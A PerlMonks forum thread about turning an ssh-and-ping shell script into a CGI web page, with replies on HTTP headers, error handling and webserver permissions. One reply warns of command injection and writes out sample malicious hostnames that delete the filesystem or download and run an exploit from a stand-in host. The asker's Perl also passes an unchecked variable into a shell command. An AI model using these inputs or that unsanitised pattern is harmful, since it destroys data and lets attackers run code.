rockmountain has asked for the wisdom of the Perl Monks concerning the following question:

How the perl code for the following shell script look like. I need to convert following command to a code, so that outout can be diplayed into a webpage. prompt> ssh user@node 'ping nodename' The shell script for the above command is given below:
cheers Rock
#!/usr/local/bin/tcsh # User on the host machine set USER="shke42" #bastion host (Julius) set host="seres" # target machine to be pinged set target="10.207.41.205" #file name to store the ping details set OUT="status.txt" #ping file path on the host machine set pingpath="/usr/sbin" # remote loging to host and ping the target machine ssh $USER@$host ${pingpath}/ping $target >$OUT sleep 2 exit

Replies are listed 'Best First'.
Re: Shell to Perl conversion
by ikegami (Patriarch) on Aug 29, 2008 at 07:50 UTC

    Add an CGI (HTTP) header, don't redirect the output, remove the counter-productive sleep and remove the useless exit.

    #!/usr/local/bin/tcsh echo 'Content-Type: text/plain' echo # User on the host machine set USER="shke42" #bastion host (Julius) set host="seres" # target machine to be pinged set target="10.207.41.205" #ping file path on the host machine set pingpath="/usr/sbin" # remote loging to host and ping the target machine ssh $USER@$host ${pingpath}/ping $target
Re: Shell to Perl conversion
by pjotrik (Friar) on Aug 29, 2008 at 07:58 UTC
    You're not limited to Perl with CGI, a shell script can be used as a CGI script as well. See http://httpd.apache.org/docs/1.3/howto/cgi.html

    In your case, print to STDOUT instead of the $OUT file and print the HTTP header before your output

    echo "Content-type: text/plain" echo
Re: Shell to Perl conversion
by moritz (Cardinal) on Aug 29, 2008 at 07:50 UTC
    What have you tried so far? We're here to answer your questions, not to write code for you.

    See %ENV, system

      This is how perl code I am doing, but things are not working:
      $USER = "user"; $HOST="hostname"; $CMD="/usr/sbin/ping"; #open(PING,"/usr/sbin/ping -s ".$nodeName." 64 10 |"); open(PING,"ssh ".$USER."@".$HOST." /bin/ping -s ".$nodeName." 64 10 +|"); $old_fh = select(STDOUT); $| = 1; select($old_fh); print "<PRE>"; while(<PING>) { print; } print "</PRE>";
      cheers Rock

        If it's "Not working", maybe you need to increase its food rations? Maybe you need to whip the lazy program harder?

        Now, if you tell us how it's not working, what the error message is, and what you find in the webserver error log, we can maybe help you better.

        Be aware that your webserver likely runs your CGI not as your shell user and hence will not have the same permissions as your shell user. Especially, your ~/.ssh2/ directory may or may not be readable to that user, so your passwordless keys for the remote machine won't work.

        As a point for later consideration, think of a user sending your script a hostname of 127.0.0.1; rm -rf / & # or  127.0.0.1; wget http://compromised.example.com/sploit && chmod ugo+x sploit && ./sploit and read the Instructional Story of Little Bobby Tables.

        but things are not working is not an error description.

        If you want that script to print out HTML, you have to actually do it. HTML starts with

        <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Your Title here</title> </head> <body>

        So printing something like this might be a good start. As a CGI script you also have to print HTTP headers before any HTML.

        Things like open can go wrong, so you should catch errors like this:

        open(...) or die "Can't open stuff: $!";
      This shell script is written by me. I am just not able to convert to HTML.
      cheers Rock